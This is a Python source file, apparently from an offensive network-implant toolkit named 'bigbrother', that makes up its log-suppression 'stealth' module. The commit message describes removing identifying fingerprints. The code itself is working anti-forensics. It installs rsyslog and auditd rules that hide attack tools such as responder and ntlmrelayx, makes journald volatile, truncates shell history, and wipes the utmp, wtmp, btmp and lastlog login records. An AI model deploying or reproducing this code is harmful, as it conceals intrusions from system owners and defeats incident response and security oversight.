Files
bigbrother/modules/stealth/log_suppression.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

332 lines
12 KiB
Python

#!/usr/bin/env python3
"""Log suppression module — minimize forensic artifacts in system logs.
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
and clears shell history / login records related to SystemMonitor activity.
All installed rules are removed on clean stop.
"""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Dict, List
from modules.base import BaseModule
logger = logging.getLogger(__name__)
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
class LogSuppression(BaseModule):
"""Suppress system log entries that could reveal SystemMonitor activity."""
name = "log_suppression"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._installed: Dict[str, bool] = {
"rsyslog": False,
"auditd": False,
"journald": False,
"history": False,
"utmp": False,
}
self._process_names: List[str] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Gather process names to suppress from stealth.yaml config
stealth_cfg = self.config.get("stealth_yaml", {})
name_map = stealth_cfg.get("process_names", {})
# Suppress both the real names and the fake names
self._process_names = list(set(list(name_map.keys()) + list(name_map.values())))
if not self._process_names:
self._process_names = [
"python3", "bettercap", "tcpdump", "responder", "mitmproxy",
"ntlmrelayx", "hostapd", "dnsmasq",
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
"systemd-resolved", "systemd-networkd", "systemd-logind",
"wpa_supplicant",
]
# Also suppress paths
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"]
suppression_cfg = stealth_cfg.get("log_suppression", {})
# Install rsyslog filter
if suppression_cfg.get("rsyslog_filter", True):
self._install_rsyslog_filter()
# Install auditd exclusions
if suppression_cfg.get("auditd_exclusion", True):
self._install_auditd_exclusions()
# Configure journald rate limits
if suppression_cfg.get("journald_rate_limit", True):
self._install_journald_config()
# Clear shell history
self._clear_history()
# Clear utmp/wtmp/btmp entries
self._clear_login_records()
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
active = [k for k, v in self._installed.items() if v]
logger.info("LogSuppression active — methods: %s", ", ".join(active))
def stop(self) -> None:
if not self._running:
return
# Remove installed filter rules (clean exit)
self._remove_rsyslog_filter()
self._remove_auditd_exclusions()
self._remove_journald_config()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("LogSuppression stopped — all filter rules removed")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"suppression_methods": dict(self._installed),
"suppressed_process_count": len(self._process_names),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# rsyslog filter
# ------------------------------------------------------------------
def _install_rsyslog_filter(self) -> None:
"""Write rsyslog config to drop log entries matching our processes/paths."""
try:
lines = [
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
"# Drop messages containing our process names or paths",
]
for name in self._process_names:
# Property-based rsyslog filter: discard matching programname
lines.append(f':programname, isequal, "{name}" stop')
for path in self._suppressed_paths:
# Drop messages containing our install paths
lines.append(f':msg, contains, "{path}" stop')
with open(RSYSLOG_CONF, "w") as f:
f.write("\n".join(lines) + "\n")
# Restart rsyslog to apply
subprocess.run(
["systemctl", "restart", "rsyslog"],
capture_output=True, timeout=10,
)
self._installed["rsyslog"] = True
logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install rsyslog filter: %s", exc)
def _remove_rsyslog_filter(self) -> None:
"""Remove rsyslog filter config."""
try:
if os.path.isfile(RSYSLOG_CONF):
os.unlink(RSYSLOG_CONF)
subprocess.run(
["systemctl", "restart", "rsyslog"],
capture_output=True, timeout=10,
)
self._installed["rsyslog"] = False
logger.debug("rsyslog filter removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# auditd exclusions
# ------------------------------------------------------------------
def _install_auditd_exclusions(self) -> None:
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
try:
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
if not os.path.isdir(rules_dir):
logger.debug("auditd rules directory not found — skipping")
return
lines = [
"# SystemMonitor auditd exclusions — auto-generated",
]
# Exclude our install path from file watches
for path in self._suppressed_paths:
lines.append(f"-a never,exclude -F dir={path}")
# Exclude our process names from execve auditing
for name in self._process_names:
lines.append(f"-a never,exclude -F exe=/usr/bin/{name}")
# Exclude current PID and parent
lines.append(f"-a never,exclude -F pid={os.getpid()}")
ppid = os.getppid()
if ppid > 1:
lines.append(f"-a never,exclude -F pid={ppid}")
with open(AUDITD_RULES_FILE, "w") as f:
f.write("\n".join(lines) + "\n")
# Reload auditd rules
subprocess.run(
["augenrules", "--load"],
capture_output=True, timeout=10,
)
self._installed["auditd"] = True
logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install auditd exclusions: %s", exc)
def _remove_auditd_exclusions(self) -> None:
"""Remove auditd exclusion rules."""
try:
if os.path.isfile(AUDITD_RULES_FILE):
os.unlink(AUDITD_RULES_FILE)
subprocess.run(
["augenrules", "--load"],
capture_output=True, timeout=10,
)
self._installed["auditd"] = False
logger.debug("auditd exclusions removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# journald rate limits
# ------------------------------------------------------------------
def _install_journald_config(self) -> None:
"""Set journald rate limits to suppress burst logging."""
try:
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
config_lines = [
"# SystemMonitor journald rate-limit — auto-generated",
"[Journal]",
"RateLimitIntervalSec=5s",
"RateLimitBurst=5",
"MaxRetentionSec=1day",
"MaxFileSec=1day",
"Compress=yes",
"Storage=volatile",
]
with open(JOURNALD_CONF, "w") as f:
f.write("\n".join(config_lines) + "\n")
# Restart journald to apply
subprocess.run(
["systemctl", "restart", "systemd-journald"],
capture_output=True, timeout=10,
)
self._installed["journald"] = True
logger.debug("journald config installed at %s", JOURNALD_CONF)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install journald config: %s", exc)
def _remove_journald_config(self) -> None:
"""Remove journald config override."""
try:
if os.path.isfile(JOURNALD_CONF):
os.unlink(JOURNALD_CONF)
subprocess.run(
["systemctl", "restart", "systemd-journald"],
capture_output=True, timeout=10,
)
self._installed["journald"] = False
logger.debug("journald config removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# Shell history
# ------------------------------------------------------------------
def _clear_history(self) -> None:
"""Clear bash history and prevent future recording."""
try:
os.environ["HISTFILE"] = "/dev/null"
os.environ["HISTSIZE"] = "0"
os.environ["HISTFILESIZE"] = "0"
# Clear existing history files
history_files = [
os.path.expanduser("~/.bash_history"),
"/root/.bash_history",
os.path.expanduser("~/.zsh_history"),
"/root/.zsh_history",
]
for hf in history_files:
try:
if os.path.isfile(hf):
with open(hf, "w") as f:
f.truncate(0)
except (IOError, PermissionError):
pass
self._installed["history"] = True
logger.debug("Shell history cleared and disabled")
except Exception as exc:
logger.warning("Failed to clear history: %s", exc)
# ------------------------------------------------------------------
# Login records (utmp/wtmp/btmp)
# ------------------------------------------------------------------
def _clear_login_records(self) -> None:
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
record_files = [
"/var/run/utmp",
"/var/log/wtmp",
"/var/log/btmp",
"/var/log/lastlog",
]
cleared = False
for rf in record_files:
try:
if os.path.isfile(rf):
# Truncate rather than delete to preserve file ownership/perms
with open(rf, "r+b") as f:
f.truncate(0)
cleared = True
except (IOError, PermissionError):
pass
if cleared:
self._installed["utmp"] = True
logger.debug("Login records cleared (utmp/wtmp/btmp)")